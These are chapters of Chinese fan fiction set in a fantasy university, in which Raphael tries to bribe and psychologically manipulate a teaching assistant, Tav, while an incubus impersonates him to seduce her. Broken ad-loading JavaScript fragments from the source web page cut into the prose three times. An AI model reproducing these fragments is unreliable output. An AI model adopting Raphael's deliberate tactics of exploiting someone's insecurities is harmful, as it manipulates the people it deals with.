“我可以把这当作是,”拉斐尔望着她的眼睛,轻轻握住她的一只手,神情专注得像是一个等待公主答复的骑士,“你的同意吗?” 塔夫再次有些晃神。这是怎么开始的? 她的手被温柔举起,一个轻柔的吻落在手指上,羽毛一样的鼻息扫过手背。拉斐尔在她面前保持着俯身的姿势,抬眼微笑看向她。 那个拉斐尔,在等待她的颔首,在向她表达爱慕之情。塔夫心跳漏了一拍,低声重复,但这次不再带着讥诮之意:“和‘你’约会?” “你愿意吗?”拉斐尔直起身,认真看着她。 有哪里不对。 从一开始就不对。 塔夫忽然想起朋友间的闲聊。拉斐尔同女生的交往从没有持续太久,“一周,也许两周,最长不超过一个月”,而且他从来没有正式承认过任何一个。 而现在,哪怕他眼神再深情,其中也没有任何期待,更没有一丁点与期待伴生的紧张和慌乱。 这当然是一个交易,从一开始就是。塔夫自嘲笑了下,用力收回手在身侧握成拳,讥讽道: “我知道你的名声,但我不知道你居然这么不挑食。” 拉斐尔抿住唇,似乎在憋笑。 “我的意思是,我不知道你居然这么随便。” 拉斐尔垂下眼睫,轻咳一声,明显在憋笑。 脑子果然还没有完全恢复,塔夫有些自暴自弃:“这听上去好像还是在贬低我自己?” “噗。”拉斐尔终于笑出声。 塔夫重重叹了口气:“你知道我想说什么。” “你很有趣。”拉斐尔笑着说。 “谢谢你的捧场,或者说,安慰。”塔夫干巴巴地说。 “我越来越喜欢你了。”拉斐尔努力把气氛拉回暧昧。 “请别那么说。已经足够了。”真是的,还不如笑话她呢。 “我们在幽默感上很合拍,不是吗?”拉斐尔唇角止不住上扬,眼中笑意流转。 塔夫望向他,不由自主地轻轻吞咽。他也这么认为? 拉斐尔手臂微动,塔夫下意识地向后避开,但对方只是单手伸向衬衫领口,修长优美的手指摸上那里的纽扣。 塔夫有些尴尬地咬着唇,为了转移注意力,仔细看他领口处和衬衫几乎同色的字母。 ——RMC,似乎是他名字的缩写。 这就是贵族吗?哪怕这件靛青色衬衫只是剪裁合身,并不刻意也没什么特别,其实也是定制,还要绣上缩写。或者,是她看不出特别之处。 拉斐尔仍专注看着她的眼睛,缓缓解开第一颗纽扣,显出优美的锁骨。 塔夫视线还是忍不住随着他的手指移动。 第二颗。 那是由深海白蝶贝打磨成的贝母扣,流溢着虹彩光泽,却在他胸口漂亮的线条前黯然失色。 第三颗。 他已经敞开大片胸膛,露出绸缎一样的皮肤,微微鼓胀的胸肌。塔夫知道那手感有多好,还是隔着衬衫,如果直接摸上去的话…… 她被自己的想法激得清醒起来:“你现在在做什么!?” “也许我们在其他地方也同样合拍。想试试看吗?”拉斐尔再次倾身,“我会让你满意的。” 这一次,塔夫没有躲开,反而好笑起来:“你知道这听上去像什么吗?” 拉斐尔,贵族,出卖色相,提供服务? 他这么熟练地利用自己的身体,难怪之前会直接用钱买她闭嘴。塔夫觉得自己几乎可以理解拉斐尔了,在他的世界里,没有什么是不能交易的,哪怕他自己。 不,还是太奇怪了。她微微皱眉。 拉斐尔手指抚在她眉心,又替她把一缕头发别回耳后,却没有收回手,笑着问:“听上去像什么?” 只是停在耳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁,没有抚摸,也没有其他动作,塔夫却觉得全身血液和温度都飞速集中向肌肤相触的那一点。她忽然不好意思直接说出口,润了润有些发干的嗓子,迂回说: “你知道的,我并没有钱,咳……我是说,我买不起你。” “我会再给你写张支票。这一次,可别撕掉了。” “用你的钱,来买你?”塔夫忍不住笑出声,“听上去,这交易对你可太不划算了。” “你笑起来原来这么漂亮。”拉斐尔指尖暧昧地滑过耳垂又抚过脸颊,停在她的酒窝摩挲。塔夫敛去笑容后,那手指继续向下,温柔抬起她的下巴。 滚烫的视线落在她唇上,塔夫却定定看向对方的眼睛:“我还有一个问题。” “最后一个,我可爱的塔夫。”拉斐尔拇指在她下唇唇窝轻轻抚摸, “在那之后,我可以吻你了吗?” 塔夫摇摇头,指尖擦过的触感更加明显。她微微吸了一口气:“你是谁?” 拉斐尔手顿住:“有趣的问题。” “你不是拉斐尔。我不知道你为什么长得和他那么像。”塔夫愈发肯定,眯起眼睛,“你是谁?” “你听上去很肯定?” “是的,非常肯定,因为你们闻上去很不一样。” 面前那人眉毛高高挑起:“你很了解‘我’的…”他话里行间仍没有放弃,但语气已经变得既坦诚又轻佻,“…气味?” “我并没有很了解‘拉斐尔’,”塔夫皱了皱鼻子,“但我在农场长大,从小照顾动物,所以非常了解‘气味’本身。我和你气味相投得多。” 她冲他眨了下眼睛,“哦对了,为了防止真正的拉斐尔听不出来,我刚才那是一个讽刺外加双关语。” ——这家伙和拉斐尔闻起来不太一样倒也是真的。 “哈!哈哈!”那人突然大笑出声,俯身将她整个人用做支撑,“哈哈哈!” 震动从他身上源源不断传来,塔夫推了推他:“谢谢,谢谢,不过你笑得有点太夸张了,我自己都没觉得有多好笑。” 那人笑得更加厉害。 “哈勒普。” 又一个拉斐尔从阴影中出现。 这次——塔夫可以确定,是之前的那个拉斐尔。 哈勒普仍伏在塔夫肩头,又笑一会才慢慢直起身,却像是还没有笑够似的,冲她笑着回眨下眼睛,这才来到拉斐尔身边。 两个同样英俊的人站在一起。相较之下,拉斐尔五官居然能够更加精致,只是薄唇拉成笔直的一条线,看上去心情阴郁,衬衫也死板地扣到最上一颗。 果然还是翘着嘴角、敞开衬衫的哈勒普版拉斐尔看着更讨人喜欢。塔夫在心里暗暗评道。 “我来处理。”拉斐尔再次开口。 哈勒普朝塔夫抛了一个飞吻,拉开一扇似乎是通往露台的门,身影倏地消失。 塔夫吓了一跳,想要确认哈勒普不是直接跳了下去,但拉斐尔面无表情挡在她面前。 不至于被发现了就需要自裁,哈勒普刚才不是一直在笑吗。 塔夫刚松一口气,接着悚然意识到,她居然一直没有发觉还有第三个人在。而那个第三人,现在正神色不明地看着她。 难怪哈勒普最开始说“更多”观众,原来拉斐尔一直在看。塔夫一阵脸红,庆幸自己没有被诱惑,又忍不住讥讽道: “没想到你有偷看别人亲热的癖好,其中一方还得是你自己!” 真是够自恋的。 “不,我并没有这种……异乎寻常的癖好。”拉斐尔顿了下,又补充说, “以及,我当然理解,这是你的讽刺。” 看着拉斐尔一本正经地解释说自己听得懂,塔夫有些意外。 是哈勒普带来的影响吗,她居然觉得,拉斐尔其实也挺有意思的? . 5. 操纵 塔夫抿抿唇,最后还是笑出声。 这大概是反差带来的有趣。拉斐尔越严肃,反而越好笑。 她看到拉斐尔表情松动,似乎有些得意地朝她瞥了一眼。 他这是在和哈勒普攀比幽默感?塔夫更加好笑起来。 不过可惜,她对拉斐尔的那一点点好感,很快就再次消失殆尽。而那好感仍残存的轻松瞬间,她望着哈勒普离开的方向,没能压下好奇心: “他是谁?你的孪生兄弟?” “是我父亲送给我的礼物。” “一个礼物?”塔夫微微皱了下眉。这听上去好像不太尊重人。 “他是梦魔。”拉斐尔轻哼一声,“可以改变外貌。” 似乎也擅长诱惑别人。这世界有许多辛秘,恐怕大部分是普通人接触不到的。塔夫很快又想到什么,眉锁得更紧:“和你交往过的其他女生,如果有亲密的时候,也都是和哈勒普吗?” “当然。” “什么?‘当然’?!我的女神啊!” “你为什么这么惊讶?你认为‘我’应该亲自……?” “那才是,正常的,‘当然’!”塔夫惊得声音提高了一个八度。瞧不起人也得有个限度吧! “我给了她们想要的……” “比如一段虚假的恋爱关系?” “我理解这是你的讥讽。” “但你显然不理解我为什么讥讽你。” “不。我给的只会更多。”拉斐尔笑了笑,“金钱,名声,资源……” “也许,她们想要的,其实是一段‘真诚’的关系?”塔夫简直诧异自己居然还能够更加惊讶。 “我还没有说完。”拉斐尔嘴唇重新拉成一条直线, “别把自己囿于情爱。我可以给她们更重要的东西,一段关系背后的东西。所有的一切,都关乎权力与控制,她们享受到支配……” “但这权力是你给予她们的!”塔夫毫不客气再次打断他,“有时限!你可以随时收回!根本就还是虚假的!” “我并不否认这一点。但这亲身体验以及由此萌生的渴望,能帮助她们走得更远。” “你知道还有什么是你无法否认的吗?”塔夫简直要被气笑了, “那就是,你是一个骗子,这些都是傲慢的借口!我不相信没有其他人发现那是哈勒普而不是你。当她们发现自己受到欺骗感到伤心的时候,你还能说出这种冠冕堂皇的话吗?” “哈!我不需要借口。蠢笨的,无法分辨。机灵的,知道这交易对她们有利,会主动接受并闭上嘴。既聪明又有野心的,可以从我这里得到更多,也许是下一次交易的机会。不过当然,也总有自以为聪明的……” 拉斐尔没有继续说下去,定定看着塔夫。 呵,当然,对他来说,那是交易而不是交往。 塔夫冷笑一声,毫不客气地瞪了回去。 拉斐尔却露出微笑,轻轻扬起眉毛:“我有些好奇,你会是哪一种?” “你已经做出过于明显的暗示了。” “那似乎便不再能被称为‘暗’示。” “那是什么笑话吗?” “这不正是你喜欢的幽默感?” 塔夫一噎,不在上面纠缠:“很明显,你认为我在自作聪明。” “你的确和我预想中的不太一样,但我并不讨厌。”拉斐尔眼神因为专注而更显出深邃,“所以,我很乐意给你额外时间。好好考虑一下,你想从我这里得到什么。你选择,成为哪一种人?” “我不需要更多时间。” “是吗。真令人期待。” “我选择,”塔夫深吸一口气,“离你远一点!” 拉斐尔轻轻摇头:“应该说,这可还真是意料之中的回答。” “别做出那副样子了!你以为你比别人看得更清楚?你以为你有权力把人分成几种?什么笨的,什么聪明的,我不会上你的当,我不会陷入‘你’的逻辑!我选择,不成为你那分类中的任何一种!你跟你自己的分类到一边跳双人舞去吧!” 塔夫气势汹汹地转身开门,刚拉开一道门缝,就被拉斐尔从身后一把推上。 塔夫使劲拽门把手,怎么都拉不开。 “你给我松手!” “你要去哪儿?” “我在自助餐厅我能去哪儿?当然是去吃饭啊!一会今日特价菜卖没了你赔我吗?” “看来,你准备接受我的支票了。” “???” “……” 拉斐尔轻咳一声:“我知道,你刚才的话是一个讽刺。” 塔夫血压继续上升:“你现在还在纠结这种事?” “而我刚才的回答其实也是……” “一点都不好笑!请你别再尝试了!” 塔夫狠狠呼出一口气,猛地转过身,又倒吸一口气。 她和拉斐尔——这次是真的拉斐尔,距离太近了。 她几乎被对方整个拢在怀里,好在心里已经不再有绮念,只觉得可恶。怎么这么近还能这么好看?这皮肤是真的吗?她忍不住在心里暗骂,如果被骗的人很容易就原谅他,那一定是因为这张脸吧! 当然只能是因为脸!难道还能是因为他那破烂性格? 也许是她太气愤,瞪拉斐尔瞪得太过凶狠,她在对方眼中看到一丝……惊慌? 塔夫疑惑,凑近更仔细去瞧。拉斐尔瞳孔猛地放大,接着居然后退一大步,脸上更是迅速泛起一片可疑红晕。 “你突然脸红什么?” “我……!”拉斐尔清了下嗓子,“没有。” “嗯?哦喔。”塔夫像是发现什么新大陆,笑吟吟瞧着他,慢慢说,“你现在脖子都红了。” 拉斐尔恨恨看着她:“我知道你在试图玩什么把戏。” “我!咳,没-有-。”塔夫模仿他刚才的颤音,又忍不住笑起来。 拉斐尔喉结上下起伏,却没有说话。 而他不开口的时候——再配上那仍有些无措却努力绷紧的神态,看上去倒一下子生动起来。 虽然他之前一脸倨傲,表现得沉稳冷静,但实际和她一样,成年也不过几年。 塔夫忽然不想再同拉斐尔做无谓争吵,向前走了半步,认真望向他那双漂亮的琥珀色眼睛:“把这些当成游戏玩的,恐怕始终是你。” 拉斐尔第一次偏开视线。 “我不知道威尔要你做什么。”塔夫见拉斐尔眉毛蹙起,又轻轻叹口气, “好吧,那是我的猜测。我并不知道是威尔还是另一个学生找你来的,又和你说了多少细节。请帮我转告他或他们,这件事没那么严重,我也没那么可怕。在教授回来之前,只需要一个道歉,一切就都可以弥补。” 她忍不住好笑地摇摇头,“事实上,我和他们一样,很希望这件事没有发生。” “你是这样想的?”拉斐尔唇角慢慢翘起,重新看向她的眼睛明亮起来,倒有些像一位乖巧的学生。 “是的。”看到对方的转变,塔夫很是体会到一些当老师的快乐,欣慰点头,“其实就是这么简单。根本不需要之前的……那些还有这些。” “也许你说的没错。”拉斐尔声音渐渐放轻。 他思索片刻后又询问道,“接下来几天,你会在哪里?” 这是要让威尔他们来找她吧。塔夫更加欣慰:“我上午都可以在盖尔教授的办公室。” “下午呢?我们今天是快傍晚才见面的。” “诶?今天是个例外。我也是有其他事情要做的。” “你会做什么?” “嗯?其他兼职,还有,社团活动什么的。就,大部分人都会做的。” “什么社团?”拉斐尔像是自嘲一笑,分享起自己的事,“我只加入了赛艇队。” “这我知道。”塔夫跟着笑了,不再那么防备,“屋顶上的猫,你听说过吗?” “不太清楚。不过名字很有意思,我完全没办法猜出你们会做什么。” “名气和赛艇队当然没办法相比。唔,我们会演演音乐剧,还有舞台剧什么的。” “是隶属戏剧社的一个剧团?” “并不是。我们是因为戏剧社要求太高进不去,但又对这些感兴趣,才成立或者说加入的独立社团。” “哈!所以叫屋顶上的猫?” “没错!你听过那个笑话?我是入社之后才知道这来历的。是不是还挺有意思?” “我一向把那当作一个关于说话艺术的故事。” “噗。你是认真的?”塔夫忍不住好笑,这理解倒挺符合拉斐尔一本正经时的样子,不过他现在明显是在打趣。 …… 没想到她是可以同拉斐尔有来有往正常交谈的,而且还聊得越来越愉快。塔夫有些惊喜。 除了长得赏心悦目,他倾听时神情专注,也会配合一搭一唱。 尽管如此,塔夫没有直接说出口的是,她加入屋顶上的猫,最主要的原因是为了申请奖学金——为了展现领导力和团队合作能力。 规模不大的社团,特别是有些边缘化但又热忱的小社团,能够让她写出更好的文书。此外,她上个学期终于 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成为剧团团长,这比在人数多的大社团要容易,也因此有机会拿到另一封同样重要的推荐信。 她觉得这不算是什么太糟糕的功利心或阴暗面——她选择社团时也是考虑到自己兴趣的。但和那些真正热爱表演的成员相比,她还是会因为自己不够真诚而隐约愧疚。 然而,拉斐尔却像是发现了她那想要藏起的羞耻感,突然收回让人如沐春风的态度。 受那变化影响,塔夫莫名紧张起来,不安地抿了抿唇。 “你是一个有经济压力的普通学生。”拉斐尔评价说,语气恢复初见时的冷漠。 塔夫怔住,一时有些疑惑发生了什么。 他们刚才聊得正热烈,是她哪里没有说对吗? 不等她想清楚或询问,拉斐尔又说: “然而,对于一件并不严重的小事,你却不肯接受能够有效缓解压力的支票,从而让这件事悄无声息地过去。为什么?” 话题回到了最开始的交易?她居然以为自己说服了拉斐尔!她刚才没有说太多不该说的吧。 塔夫长长叹出一口气,一边有些庆幸拉斐尔似乎并没有发现她的功利——毕竟她才反驳过对方那功利的分类,一边立刻重新反唇相讥: “很明显,你已经有了一个答案。那就没必要再问我。” 对此拉斐尔只是轻哼一声:“因为你发现自己的权威受到挑战。” “我?权威?哈!” “你拥有作为教学助理对学生的权力。” 塔夫忽然想起,那时她的确感到被无视,因此产生不快。而无视她的要求,不正是对她的权力的一种挑战? “你需要弥补那权威的缺失。所以,你才坚持这名学生亲自去找你,而不是选择对你更有利的、同我的交易,不是吗? “你以为自己的立场不同,但实际上,你享受拥有权力,也享受支配别人的感觉。” “我……!” 塔夫被什么刺痛了。是这样吗?而且不仅仅是这件事,还有社团,她似乎也是在使用权力为自己谋取……不,不是这样的,当然不是这样的…… 然而,她一时却无法坚定说出那句“没有”。 “这没什么可羞耻的,”拉斐尔声音放低,像是在安慰她。“每个人都有这种欲望。” “你的意思是……?” “承认这欲望。直视它,掌控它,而不是被它牵着走,做出不理智的决定。” “不理智……?” “你认为呢?” 拉斐尔没有明说,塔夫却听懂了他的意思。 她以为自己是为了更公正的理由,其实内心深处是为了维护那一点点权威,使用那一点点权力,非要学生向她道歉,甚至为此放弃与拉斐尔交易,放弃一笔金额相当慷慨的意外之财。显然,这并不是一个明智的决定。 “我之前的提议仍然有效。”拉斐尔走近一步,“回去想想你能从我这里得到什么。”他垂眼看着塔夫,“我对你,很感兴趣。” 是对她感兴趣?而不是对她的决定?他指的是约会的提议? 塔夫脑中更加混乱,哪怕知道这大概率是对方有意为之的暧昧话语,呼吸还是急促起来。 “至于现在。”拉斐尔说着朝她倾过身,伸长手臂。 “你要做什么!?”塔夫脸一下涨红,朝一旁跳开半步。 “为女士开门。”拉斐尔笑容看上去十分真诚,露出一排雪白整齐的牙齿,眼睛也弯出迷人的弧度, “希望你的特价菜还在。” . ———————————— 这个地狱冷笑话以后也会提到,所以还是放在正文。 ——游戏里拉斐尔喜欢用猫(爪子)的比喻,又觉得这个名字挺适合当剧团名字之: 《屋顶上的猫》 出发旅行前,哥哥拜托弟弟照顾自己的猫。旅途中,他给弟弟打电话询问: -我的猫怎么样? -它死了。 -什么?你怎么能把坏消息说得这么直接! -可事实便是如此。 -你至少让我有一个心理上的准备! -那我应该怎么说? -你可以说:猫爬上了屋顶,不小心掉了下来,现在在兽医那里,情况可能不太好。过几天再告诉我,猫没能撑过去,不幸去世了。我会接受得更加容易,这种循序渐进也是一种仁慈。 -好的,我学会了。对不起。 -没关系。对了,奶奶最近怎么样? -这个……她也爬上了屋顶。 . 6. 夜晚 塔夫没能买到特价烤鸡,用力舀着碗里的另一份晚餐。 ——牛腩、番茄和卷心菜炖煮。 如果拉斐尔那句是俏皮话,绝对是她今年听过的最糟的一句。 不,是三年来最糟的一句。 又塞满满一嘴白腰豆浓汤,塔夫已经意识到自己被带入拉斐尔的陷阱中。 她发现了第一次、第二次。结果第三次的时候,还是栽了进去。 也许是因为拉斐尔突然的“低头示弱”以及放松下来的聊天让她不再防备,也许是因为拉斐尔才是那个对气味敏感的人——嗅出她隐约的不安,并予以攻击。 哪怕他针对的内容并不是直接导致她羞耻的源头,情绪方面却偏偏是相通的。 不过,他太小看或者高看她了,她的确会有些许负疚,但她不会因此被束缚。除此之外还有一点,而且恐怕是她和拉斐尔最大的不同,她不会自以为是地分析别人,替别人决定什么才是对的。 正如尽管炖煮和浓汤的味道也很好,但她最想吃的是烤鸡。 . 晚餐吃得有些撑,塔夫便绕远路,走林荫主道回宿舍塔楼,一边消化,一边盘算明天要怎么和拉斐尔对峙。 他“大方”地给她一晚上的时间,明天收到相同答复后,不知道会露出什么表情。塔夫想着又有些疑惑起来,拉斐尔是和谁有赌约吗,为什么一副非得要她答应的架势。 大概是贵族小王子的成长过程太过顺遂,没办法接受任何拒绝,把一切不顺从他心意计划的事都看作是对他本人的挑衅。 塔夫轻轻啧了一声。 非常有可能。然而对此,她一时不知道自己该感到羡慕还是无奈。 如果真是这样,再次严词拒绝可能会起反作用,态度柔和一些也许效果会更好。 这听上去有些不太公平,明明是拉斐尔咄咄逼人在先,却要她服软退步使用技巧。塔夫一脚踩在黑色树影缝隙中的月光上。 但她又知道,觉得自己是被无辜牵连的受害者,除了让心情更糟外不会有任何其他帮助,还是赶快把这件事解决才是第一要务。而且,拉斐尔今晚肯定也花了些心思,就算他们两讫好了。 . 虽然道理都明白,塔夫还是一边继续在心里愤愤地嘲弄拉斐尔,一边爬上宿舍楼梯。 她推开门,就见室友从桌前转过头,笑着朝自己打招呼: “你回来啦!春假第一天就自习到这个时候?” 塔夫也立刻露出笑容。 室友名叫詹妮薇尔·空叶,不过大家都称呼她影心。 至于这昵称的来历,她从来没有完整告诉过塔夫,而曾不小心说出的一段,简直可以被称为童年创伤的程度。 最后,还是她反过来安慰泪盈于睫的塔夫:“虽然不那么美妙,但那段经历也是我的一部分。用这名字还是为了提醒我自己,我比自己想象中的强大。天啊,女神在上,你怎么真哭了?” 真是的,为什么有的人成长时要受到那么多苦难,而有的人却能一帆风顺到甚至对拒绝都感到陌生。塔夫放下背包,落地声有些响: “我做助教的课上发生了点小意外,不过明天就能解决。” 她又笑着问影心, “不说烦心事了,你的春假第一天怎么样?” “和你完全相反,几乎没有出门。”影心整个身子转向她,“对了,后天赛艇队有预热赛,时间在落日前,对手之一还有我们的老宿敌——安苏学院,要来换换心情吗?” 塔夫正往洗手间走,听到赛艇队,想起拉斐尔,不由脚下一停。 “只看比赛当然没什么意思,更重要的是之后的庆祝。”影心顿了下,又笑着说,“或者发泄,如果我们输了的话。” “我们就没输过吧。”塔夫一边洗手一边问,“什么庆祝?” “是从我们这届开始才没输过。”影心稍微提高音量,“在校外!河边!有音乐,舞池,听说他们还找了法师,放烟花,做效果,别的什么。” 塔夫擦干手,坐到影心对面,咂舌:“请了法师?可真够奢侈的。” “赛艇队嘛,预算充足。而且哈尔辛说,全场会免费供应啤酒。” “还有酒?这真的只是庆祝,而不是……” “如果变成银趴不是更好吗?”影心开心接道。 “请别用这么可爱的脸毫不在意地说出这么糟糕的话。”塔夫好笑。 影心笑着摸摸脸:“性是很正常、很愉快的事。” 塔夫忍着笑瞥她一眼:“亲密无间的两情相悦和搞不清对象是谁的群体性聚众淫.乱可是有一段相当远的距离。” “被你这么一说,听上去可还真是更刺激……我是说,果然不太妙了。”影心笑嘻嘻打岔过去,“只是艾尔淡啤酒啦,不会那么夸张。要来吗?” “都有谁会在哪里?”塔夫又想起拉斐尔,脱口而出,“赛艇队的人都会去吗?” “嗯哼。”影心的脸一下在塔夫眼前放大,“你希望谁在那里?” “我只是随便问问!” “我能看出来。”影心坐了回去,竖起食指晃了晃,“你刚才心里在想着一个具体的人。” “……这么明显?” “不好意思的话没关系。我会帮你问问哈尔辛,拿到赛艇队每一个人的喜好、怪癖和性癖我是说性格一起给你,等你准备好了再告诉我具体是谁!真是想不到,在大学第三年的这个春天,你终于决定谈恋爱了!” “别!请别!”塔夫犹豫了下,还是说出口,“好吧,是拉斐尔,不过……” 不等她说完,影心已经惊呼:“真了不起!想不到你一出手就瞄准难度最高的……” “你给我听人把话说完!这跟恋爱没有一铜币的关系!” 眼见影心正襟危坐,一副洗耳恭听的样子,塔夫却觉得这事情毕竟牵扯到对一个低年级学生可能的舞弊控诉,组织半天语言,最后只是说: “我听到有人谈起他。”——这倒不是谎话,自助餐厅里确实有人说起拉斐尔, “对他产生了点好奇。”——比如跟他谈判的技巧。 “唔。”影心意有所指,“好奇是一切的开始。” 塔夫给了她一个眼神:还能不能好好聊天了? 影心突然跳起身:“快去洗澡。我们一会床上详谈!我的床!” “还不到八点。我们要从现在一直说到睡觉?” “更有可能的是,你一晚上都没办法睡了唷。” . 传言多到可以让塔夫一晚上都没办法睡的拉斐尔,刚吃过晚餐不久。 同莱辛多尔猜测有些不同的是,他其实住在校园里。那是一栋离冲萨河不远的二层宅邸,赛艇俱乐部的私产,有六个卧室,八个卫生间和一个地下酒窖。 严格来说,他也不是单独一人住在那里。除了哈勒普,还有一位管家,两位男仆和一位厨师。 而这位拥有整个酒窖使用权的专业厨师,大胡子矮人戈登,为拉斐尔准备的豪华晚餐内容是: ——蔬菜沙拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' (1:10油醋汁拌少量黑胡椒) ——鸡胸肉(无油无盐炙烤),以及 ——水(加大量冰块) 哈勒普已经变回自己的模样,五官柔和,远没有拉斐尔英俊,但气质格外魅惑。 “这可真是对戈登天赋的糟践。”他仍坐在长桌前,对着食物优雅地咏叹, “无论用什么方式去表达,都无法夸大我对他拿手菜肴的想念! “红酒鹿腿、油封鸭,洛林咸派、烤牛眼。 “当然还有,让我仔细想想看…… “任何食物,只要里面放了‘盐’! “从什么时候开始,盐已经变成珍稀而又昂贵的调味料了?” “两天后有场比赛,我需要保持体重。”拉斐尔说,“最好能再减去一些重量。控盐是非常必要的方法之一。” 哈勒普摇摇头:“如果我没有记错的话,那场比赛对手虽然有安苏,但仍只是预热赛。” “对你的记忆力多点自信。”拉斐尔看上去非常真情实意地拍拍他手臂,“我可是比你自己更加信赖你。” “我不需要鼓励。”哈勒普噎了下,“这是一个反讽。” 拉斐尔像是想起什么:“我知道。” “说到这个。”哈勒普想起同样的事,“你和小塔夫进展到了哪一步?” “在她身上试验了些技巧。”拉斐尔轻笑一声。 在一个话题说到最热烈的时候突然停止继续聊天,令对方陷入不安和焦虑,又进一步放大她本身的负面情绪,从而被他压倒并说服。 哈勒普立刻放下叉子,表示自己全神贯注:“听上很顺利。” 拉斐尔回忆同塔夫分开时,她那已经有些反应过来的忿忿表情,却没有收回微笑:“明天和她见面之前,我需要知道更多关于她的事。” “嗯——哼。”哈勒普拖着长音,“你仍对她感到好奇?这是为什么?” “技巧毕竟只是术。”拉斐尔莫名其妙地看他一眼。从塔夫的反应来看,她不太容易被影响,也能意识到自己心理占据上风的时候, “最直接有效的方法还是找到她在意的事,或者可以利用的弱点。”很多时候,二者是同一回事。 “当然,当然。” 哈勒普却感到有些无趣起来。 塔夫的确发现了他不是拉斐尔,但之后想想,恐怕主要是因为她刚和拉斐尔见过面。而且说到底,她只是个普通学生。 “我有些意外需要做到这一步,”拉斐尔继续说,“我的外表明显对她存在吸引力。” “我也会确认她是否是异性恋。”哈勒普对这含沙射影磨了磨牙,终于提醒,“这次的主角是威尔。” “是的。”但拉斐尔明显没在认真听。 “至于莱辛多尔。”哈勒普补充,“虽然这不重要,不过他回复说很愉快交易结束。” 拉斐尔点了下头,没有说话,继续神游。 “想来一盘兰斯棋吗?”哈勒普站起身。 边下棋边复盘,算是拉斐尔最喜欢的消遣之一。 “可以。” “老样子?还是?” 再次得到拉斐尔颔首,哈勒普变成一位看上去三十岁出头的中年人,五官和拉斐尔相似,但线条更加坚硬冷酷——是拉斐尔的父亲,现任卡尼亚大公,梅菲斯特。 拉斐尔表情发生些微变化,很快重新绷紧,注意力明显已经完全收回。 哈勒普微笑:“那么我们开始吧,亲爱的拉斐尔。” . 7. 梦境 拉斐尔执白棋,先行。 “今天只是最普通的后翼弃兵开局?”哈勒普在他对面落座,一边熟稔应对一边谈起这次的主角,“威尔终于向你低头,同意加入兄弟会了。” “威尔不肯加入兄弟会,更多是不肯向他父亲、向他的贵族出身低头。九狱贵族都维护现有秩序,我是他想要远离的那一概念的直接具象。”拉斐尔移动棋盘上的骑士,保护兵卒。 “差点骗到了我。”哈勒普又走一步,笑着说,“原来是骑士之舞开局。” “威尔认同骑士精神。给他一个帮助弱者的机会,哪怕他有所怀疑,也还是会满足弱者的求助。”拉斐尔移动另一个骑士,变成正式的双骑士探戈开局。 哈勒普:“这是他的弱点。” 拉斐尔:“但也可以被称为是他的魅力。至于加入兄弟会,说不定威尔心里把这当作一种牺牲般的抗争甚至宣战。” …… “所以他可能会成为一个麻烦?” “事实上,我有些期待他的反抗。” …… “这是雷文伽德公爵一直想让威尔加入兄弟会的原因?他总得做出选择?” “公爵关心威尔……而威尔大概也知道。” …… 棋局进入中局,哈勒普思索片刻,终于还是吃掉了最开始的那个弃兵:“迫移。无论我这一步怎么走,都只会让局面更差,但我不得不走。” “父亲曾教我的一课。”拉斐尔移动骑士,“而我仍需要更多练习。” . 与焦灼棋局一样升温的是另一边塔夫同影心的讨论。 “你还好奇什么?尽管来。”影心大方说。 “那些女生,有没有提到过交……”塔夫想询问更多交易的细节,却拿不准怎么问。 交往有些过于浪漫化那段关系。而交易,只要用到这个词,无论怎么造句,无论实情如何,因着拉斐尔在高位的身份,听上去都暗含对女生的道德谴责。 说起来,拉斐尔本人的态度却不是如此,对于有野心的女生,他似乎是欣赏的…… 塔夫连忙打住,哪怕拉斐尔不在这里,自己居然又差点被对方绕了进去! 她最后干脆直接问:“她们同拉斐尔分开后,有没有什么不满?我指的是任何负面评价。”毕竟,他是个傲慢自大的家伙。 “评价好像都不坏。”影心想了想,“别看他是贵族,交往的时候还挺尊重人的。” “尊重?”塔夫不可置信。 这是她绝对不会用在拉斐尔身上的词。 “虽然他不太热情,但足够坦诚,结束得也干脆,而且对亲密接触总是很绅士谨慎,”影心压低声音,凑到她耳边,“听说还很有服务意识……” “好痒!”塔夫笑着躲开,结果差点掉下床,被影心眼明手快地捞住。 前面的评价她不好说,最后那两个肯定是因为拉斐尔需要换人,有服务意识的更不可能是他,塔夫一边重新躺好一边想。 不过她不好把这些告诉影心,只是摇摇头:“可他从没正式承认过任何女友。” “总比那些交了正式女友,其实是为了可以光明正大来一发而且差劲到只顾自己有没有爽到的家伙好点?”影心立刻回。 塔夫无语:“标准是不是越来越低了?” “说到标准,有一件事不知道算好还是坏。”影心突然想起什么, “和拉斐尔交往过的女生,标准会提高——这并不令人意外。不过有一个志向变成了努力赚钱养小白脸。噗,还是公开的哦。” “这怎么公开?” “她和你一样,去年拿到了学者奖学金,不过是古语言学专业的。” 博得安大学的学者奖学金得主需要公示,还要写一段对未来的期望之类的励志话语。塔夫写的自然是读医学院成为医生,但一直把那当作是走个形式。 “我好像听说过这么一回事。”塔夫顿了下,好笑起来,“她就直接这么写了上去?学院也没说什么?” “不是原话,但也没差多少。她之前差点退学,所以学院觉得这改变挺好。”影心最后总结说,“大概有动力总归是件好事。” 而动力来源是和拉斐尔约会?塔夫觉得这里面肯定还有些弯弯绕绕,拉斐尔绝对不是会无缘无故做慈善提供帮助的那种人。 “之前她为什么差点退学?”塔夫想到已经变成一团纸的三万金币支票,没说出口的则是:说不定那女生退学和拉斐尔还有点关系。 “学业跟不上、落差太大导致了抑郁吧。”影心说着打了个哈欠。 居然不是霸凌?塔夫有些吃惊又立刻讪讪,在心里对那女生说了句抱歉,自己不是有意希望她经历更多糟糕。 “她从其他地方考过来,第一个学年没有拿到奖学金,肯定还有很大经济压力。”影心又打了第二个哈欠。 塔夫笑着帮她把有些歪掉的枕头摆好:“晚安。” “我们明天再继续。”影心咕哝。 . 塔夫在床上翻了个身,一时无法入睡。 虽然影心指的只是奖学金,但自己的背景和那女生也有点相似,只是运气更好,一直遇到很好的家人和朋友。尽管生活从不缺少压力,身体和情绪大部分时候都还健康。 好在那女生成功爬出了谷底。 这么说来,她比自己更厉害。毕竟自己从没有陷入过真正的崩溃,也就不知道怎么处理。塔夫同情钦佩她,不过如果可以选的话,她还是希望自己不需要经历那些。 